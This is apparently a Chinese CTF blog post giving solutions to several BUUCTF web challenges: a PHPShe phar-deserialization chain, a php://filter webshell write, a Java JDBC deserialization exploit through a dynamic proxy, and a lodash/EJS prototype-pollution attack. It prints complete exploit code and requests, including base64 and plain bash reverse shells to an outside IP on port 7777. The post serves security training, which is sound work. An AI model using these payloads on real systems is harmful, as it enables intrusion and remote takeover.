July 8, 2023

BUUCTF Web Writeup 8

八星魔王

[RoarCTF 2019]PHPShe

考点:Phar反序列化、代码审计
刷题的时候碰到这种题,太折磨人了我测,因为你刷题的时候刷到代审就是百分百坐牢男孩。
通过fuzz当前版本和上一个版本可以发现一个问题,多了一个文件pclzip.class.php
里面多了一个析构函数

1
2
3
4
5
public function __destruct()

{
$this->extract(PCLZIP_OPT_PATH, $this->save_path);
}

我们可以解压任意一个文件,那不就可以写shell,问题是如何触发反序列化了。这种情况直接无脑考虑phar了。。事实证明就是phar
在moban.php里有这一段
image.png
跟进pe_dirdel
image.png
有is_file函数,会触发phar反序列化。那么就没事了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
class PclZip{
var $zipname = '';
var $zip_fd = 0;
var $error_code = 1;
var $error_string = '';
var $magic_quotes_status;
var $save_path = '/var/www/html/data';//解压目录

function __construct($p_zipname){

$this->zipname = $p_zipname;
$this->zip_fd = 0;
$this->magic_quotes_status = -1;

return;
}

}

$a=new PclZip("/var/www/html/data/attachment/brand/64.zip");//压缩的文件路径
echo serialize($a);
$phar = new Phar("phar.txt");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "boogipop");
$phar->stopBuffering();
?>

exp如上。其中/var/www/html/data/attachment/brand/64.zip是我们已经上传的zip文件的位置,zip里面就是shell文件了,我们需要解压他。
image.png
名字是根据id取的。
image.png
其中token是上传phar时抓包获取的。

[SWPUCTF 2016]Web blogsys

考点:还是代码审计以及变量覆盖和sql注入,还有hash拓展攻击,做吐了,饶了我吧。

[WMCTF2020]Web Check in

content=php://filter/write=PD9waHAgQGV2YWwoJF9QT1NUWydhJ10pOz8%2B|convert.%25%36%39%25%36%33%25%36%66%25%36%65%25%37%36%25%32%65%25%37%35%25%37%34%25%36%36%25%32%64%25%33%38%25%32%65%25%37%35%25%37%34%25%36%36%25%32%64%25%33%37|convert.%2562%2561%2573%256564-decode/resource=s.php
image.png
麻了。

[羊城杯 2020]A Piece Of Java

考点:JDBC反序列化、动态代理
以我现在的角度看这道题就是Baby。2020年的java如此简单,羡慕~
image.png
给了CC依赖,并且给了JDBC依赖
image.png
看一下路由的逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package gdufs.challenge.web.controller;

import gdufs.challenge.web.model.Info;
import gdufs.challenge.web.model.UserInfo;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.util.Base64;
import javax.servlet.http.Cookie;
import javax.servlet.http.HttpServletResponse;
import org.nibblesec.tools.SerialKiller;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.CookieValue;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestParam;

@Controller
public class MainController {
public MainController() {
}

@GetMapping({"/index"})
public String index(@CookieValue(value = "data",required = false) String cookieData) {
return cookieData != null && !cookieData.equals("") ? "redirect:/hello" : "index";
}

@PostMapping({"/index"})
public String index(@RequestParam("username") String username, @RequestParam("password") String password, HttpServletResponse response) {
UserInfo userinfo = new UserInfo();
userinfo.setUsername(username);
userinfo.setPassword(password);
Cookie cookie = new Cookie("data", this.serialize(userinfo));
cookie.setMaxAge(2592000);
response.addCookie(cookie);
return "redirect:/hello";
}

@GetMapping({"/hello"})
public String hello(@CookieValue(value = "data",required = false) String cookieData, Model model) {
if (cookieData != null && !cookieData.equals("")) {
Info info = (Info)this.deserialize(cookieData);
if (info != null) {
model.addAttribute("info", info.getAllInfo());
}

return "hello";
} else {
return "redirect:/index";
}
}

private String serialize(Object obj) {
ByteArrayOutputStream baos = new ByteArrayOutputStream();

try {
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
oos.close();
} catch (Exception var4) {
var4.printStackTrace();
return null;
}

return new String(Base64.getEncoder().encode(baos.toByteArray()));
}

private Object deserialize(String base64data) {
ByteArrayInputStream bais = new ByteArrayInputStream(Base64.getDecoder().decode(base64data));

try {
ObjectInputStream ois = new SerialKiller(bais, "serialkiller.conf");
Object obj = ois.readObject();
ois.close();
return obj;
} catch (Exception var5) {
var5.printStackTrace();
return null;
}
}
}

可以发现会进行反序列化的操作,我们看看给的几个Bean
InfoInvocationHandler

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package gdufs.challenge.web.invocation;

import gdufs.challenge.web.model.Info;
import java.io.Serializable;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;

public class InfoInvocationHandler implements InvocationHandler, Serializable {
private Info info;

public InfoInvocationHandler(Info info) {
this.info = info;
}

public Object invoke(Object proxy, Method method, Object[] args) {
try {
return method.getName().equals("getAllInfo") && !this.info.checkAllInfo() ? null : method.invoke(this.info, args);
} catch (Exception var5) {
var5.printStackTrace();
return null;
}
}
}

Info

1
2
3
4
5
6
7
8
9
10
11
12
13
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package gdufs.challenge.web.model;

public interface Info {
Boolean checkAllInfo();

String getAllInfo();
}

DatabaseInfo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package gdufs.challenge.web.model;

import java.io.Serializable;
import java.sql.Connection;
import java.sql.DriverManager;

public class DatabaseInfo implements Serializable, Info {
private String host;
private String port;
private String username;
private String password;
private Connection connection;

public DatabaseInfo() {
}

public void setHost(String host) {
this.host = host;
}

public void setPort(String port) {
this.port = port;
}

public void setUsername(String username) {
this.username = username;
}

public void setPassword(String password) {
this.password = password;
}

public String getHost() {
return this.host;
}

public String getPort() {
return this.port;
}

public String getUsername() {
return this.username;
}

public String getPassword() {
return this.password;
}

public Connection getConnection() {
if (this.connection == null) {
this.connect();
}

return this.connection;
}

private void connect() {
String url = "jdbc:mysql://" + this.host + ":" + this.port + "/jdbc?user=" + this.username + "&password=" + this.password + "&connectTimeout=3000&socketTimeout=6000";

try {
this.connection = DriverManager.getConnection(url);
} catch (Exception var3) {
var3.printStackTrace();
}

}

public Boolean checkAllInfo() {
if (this.host != null && this.port != null && this.username != null && this.password != null) {
if (this.connection == null) {
this.connect();
}

return true;
} else {
return false;
}
}

public String getAllInfo() {
return "Here is the configuration of database, host is " + this.host + ", port is " + this.port + ", username is " + this.username + ", password is " + this.password + ".";
}
}

UserInfo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package gdufs.challenge.web.model;

import java.io.Serializable;

public class UserInfo implements Serializable, Info {
private String username;
private String password;

public UserInfo() {
}

public void setUsername(String username) {
this.username = username;
}

public void setPassword(String password) {
this.password = password;
}

public String getUsername() {
return this.username;
}

public String getPassword() {
return this.password;
}

public Boolean checkAllInfo() {
return this.username != null && this.password != null;
}

public String getAllInfo() {
return "Your username is " + this.username + ", and your password is " + this.password + ".";
}
}

审一下就知道用动态代理打JDBC.
Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
package gdufs.challenge;

import gdufs.challenge.web.invocation.InfoInvocationHandler;
import gdufs.challenge.web.model.DatabaseInfo;
import gdufs.challenge.web.model.Info;
import gdufs.challenge.web.model.UserInfo;

import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Base64;

public class exp {
public static void main(String[] args) throws Exception {
UserInfo userInfo = new UserInfo();
InvocationHandler infoInvocationHandler = new InfoInvocationHandler(userInfo);
Info o = (Info) Proxy.newProxyInstance(userInfo.getClass().getClassLoader(), userInfo.getClass().getInterfaces(), infoInvocationHandler);
DatabaseInfo databaseInfo = new DatabaseInfo();
databaseInfo.setHost("114.116.119.253");
databaseInfo.setPort("3308");
//jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_CommonsCollections4_calc
databaseInfo.setUsername("fucker&autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=deser_CC31_bash -c {echo,YmFzaCAtaSA%2bJiAvZGV2L3RjcC8xMTQuMTE2LjExOS4yNTMvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}");
databaseInfo.setPassword("test");
setFieldValue(infoInvocationHandler,"info",databaseInfo);
System.out.println(serial(o));
Info deserial = (Info) deserial(serial(o));
deserial.getAllInfo();
}
public static String serial(Object o) throws IOException, NoSuchFieldException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(o);
oos.close();

String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
return base64String;

}

public static Object deserial(String data) throws Exception {
byte[] base64decodedBytes = Base64.getDecoder().decode(data);
ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
ObjectInputStream ois = new ObjectInputStream(bais);
Object o = ois.readObject();
ois.close();
return o;
}

private static void Base64Encode(ByteArrayOutputStream bs){
byte[] encode = Base64.getEncoder().encode(bs.toByteArray());
String s = new String(encode);
System.out.println(s);
System.out.println(s.length());
}
private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, arg);
}

}

放进cookie打入
image.png
image.png
结束。

JDBC-ATTACK-TOOL

找到了一个4ra1n师傅写的Fake-mysql-server的升级版,挺好用的
https://github.com/4ra1n/mysql-fake-server/
用法很简单,放到vpsjava -jar xxx.jar -p port,然后fake_server就起好了,只需要在jdbcurl的user处写你的payload就行了。(如上)

[XNUCA2019]Qualifier]HardJS

考点:原型链污染、Ejs
server.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
const fs = require('fs')
const express = require('express')
const bodyParser = require('body-parser')
const lodash = require('lodash')
const session = require('express-session')
const randomize = require('randomatic')
const mysql = require('mysql')
const mysqlConfig = require("./config/mysql")
const ejs = require('ejs')

const pool = mysql.createPool(mysqlConfig)


const app = express()

app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json())
app.use('/static', express.static('static'))
app.use(session({
name: 'session',
secret: randomize('aA0', 16),
resave: false,
saveUninitialized: false
}))

function setHeader(req,res,next){
res.set({
"X-DNS-Prefetch-Control":"off",
"X-Frame-Options": "SAMEORIGIN",
"X-Download-Options": "noopen",
"X-Content-Type-Options": "nosniff"
});
next();
}

app.use(setHeader);

app.set('json escape',true)
app.set('views', './views')
app.set('view engine', 'ejs')


function auth(req,res,next){
// var session = req.session;
if(!req.session.login || !req.session.userid ){
res.redirect(302,"/login");
} else{
next();
}
}


let query = function( sql, values ) {
return new Promise(( resolve, reject ) => {
pool.getConnection(function(err, connection) {
if (err) {
reject( err )
} else {
connection.query(sql, values, ( err, rows) => {

if ( err ) {
reject( err )
} else {
resolve( rows )
}
connection.release()
})
}
})
})
}


app.get("/",auth,function(req,res,next){
res.render('index');
})

app.get("/sandbox",auth,function(req,res,next){
res.render("sandbox");
})

app.all('/login',async function(req,res,next){

if( req.method == 'POST' ){
if(req.body.username && req.body.password){

var username = req.body.username;
var password = req.body.password;

var sql = "select id from `user` where username=? and password=?";

let dataList = await query( sql,[username,password])

if(dataList.length == 0){
res.send("<script> alert('用户名或密码错误.'); location.replace('/login'); </script>");
return ;
}
console.log(dataList);
req.session.userid = dataList[0].id ;
req.session.login = true ;
res.redirect(302,"/");
return ;

}
}

res.render('login_register',{
title:" storeHtml | logins ",
buttonHintF:"登 录",
buttonHintS:"没有账号?",
hint:"登录",
next:"/register"
});
});




app.all('/register',async function(req,res,next){

console.log(req.body);

if( req.method == 'POST' ){

if(req.body.username && req.body.password){

var username = req.body.username;
var password = req.body.password;

var sql = "select id from `user` where username=?";

let dataList = await query( sql,[username])

if(dataList.length>0){
res.send("<script>alert('用户名重复'); location.replace('/register');</script>");
return ;
}

var sql = "insert into `user` (`username`,`password`) values (?,?) ";

let result = await query( sql,[username,password]);
console.log(result);

if(result.affectedRows>0){
res.send("<script>alert('注册成功');location.replace('/login');</script>")
return;
}else{
res.send("<script>alert('注册失败');</script>");
return;
}
}
}

res.render('login_register',{
title:" storeHtml | register ",
buttonHintF:"注 册",
buttonHintS:"已有账号?",
hint:"注册",
next:"/login"
});
});

app.get("/get",auth,async function(req,res,next){

var userid = req.session.userid ;
var sql = "select count(*) count from `html` where userid= ?"
// var sql = "select `dom` from `html` where userid=? ";
var dataList = await query(sql,[userid]);

if(dataList[0].count == 0 ){
res.json({})

}else if(dataList[0].count > 5) { // if len > 5 , merge all and update mysql

console.log("Merge the recorder in the database.");

var sql = "select `id`,`dom` from `html` where userid=? ";
var raws = await query(sql,[userid]);
var doms = {}
var ret = new Array();

for(var i=0;i<raws.length ;i++){
lodash.defaultsDeep(doms,JSON.parse( raws[i].dom ));

var sql = "delete from `html` where id = ?";
var result = await query(sql,raws[i].id);
}
var sql = "insert into `html` (`userid`,`dom`) values (?,?) ";
var result = await query(sql,[userid, JSON.stringify(doms) ]);

if(result.affectedRows > 0){
ret.push(doms);
res.json(ret);
}else{
res.json([{}]);
}

}else {

console.log("Return recorder is less than 5,so return it without merge.");
var sql = "select `dom` from `html` where userid=? ";
var raws = await query(sql,[userid]);
var ret = new Array();

for( var i =0 ;i< raws.length ; i++){
ret.push(JSON.parse( raws[i].dom ));
}

console.log(ret);
res.json(ret);
}

});

app.post("/add",auth,async function(req,res,next){

if(req.body.type && req.body.content){

var newContent = {}
var userid = req.session.userid;

newContent[req.body.type] = [ req.body.content ]

console.log("newContent:",newContent);

var sql = "insert into `html` (`userid`,`dom`) values (?,?) ";
var result = await query(sql,[userid, JSON.stringify(newContent) ]);

if(result.affectedRows > 0){
res.json(newContent);
}else{
res.json({});
}


// var userid = req.session.userid ;
// var sql = "select dom from `html` where userid=? " ;
// var dataList = await query(sql,[userid]);

// var dom = {}
// if (dataList.length != 0){
// console.log("Old Dom: ",dataList[0].dom)
// dom = JSON.parse(dataList[0].dom);
// }

// lodash.defaultsDeep(dom,newContent);
// console.log("New Dom: ",dom);

// if(dataList.length == 0){
// var sql = "insert into `html` (`userid`,`dom`) values (?,?) ";
// var result = await query(sql,[userid, JSON.stringify(dom) ]);
// }else{
// sql = "update `html` set `dom` = ? where `userid` = ?";
// console.log(JSON.stringify(dom));
// var result = await query(sql,[ JSON.stringify(dom),userid]);
// }

// if(result.affectedRows > 0){
// res.json(newContent);
// }else{
// res.json({});
// }

}

});


var server = app.listen(80, function() {
console.log('Listening on port %d', server.address().port);
});

代码审计发现有一个loadsh,这是存在原型链污染的。然后engine又是ejs,又有render,明显的nodejs ejs原型链污染。
Exploit
下述请求包发送五次,让他进入else分支,然后访问任意可以触发render的路由,如get

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
POST /add HTTP/1.1
Host: f1b80d64-49d5-449a-a2fe-708744c1ad5e.node4.buuoj.cn:81
Content-Length: 304
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Edg/114.0.1823.67
Content-Type: application/json; charset=UTF-8
Origin: http://f1b80d64-49d5-449a-a2fe-708744c1ad5e.node4.buuoj.cn:81
Referer: http://f1b80d64-49d5-449a-a2fe-708744c1ad5e.node4.buuoj.cn:81/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: session=s%3Av4pPTVR_-IwR4rAMOQqJD9OyoX6j6Owg.mCQKcPlGyGUet0YctTKVFHNv7iOgix4pjWZKb8ORc1Y
Connection: close

{
"content": {
"constructor": {
"prototype": {
"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/114.116.119.253/7777 0>&1\"');var __tmp2"
}
}
},
"type": "test"
}


访问/get
image.png
FLAG在ENV里

About this Post

This post is written by Boogipop, licensed under CC BY-NC 4.0.

#CTF#BUUCTF#刷题记录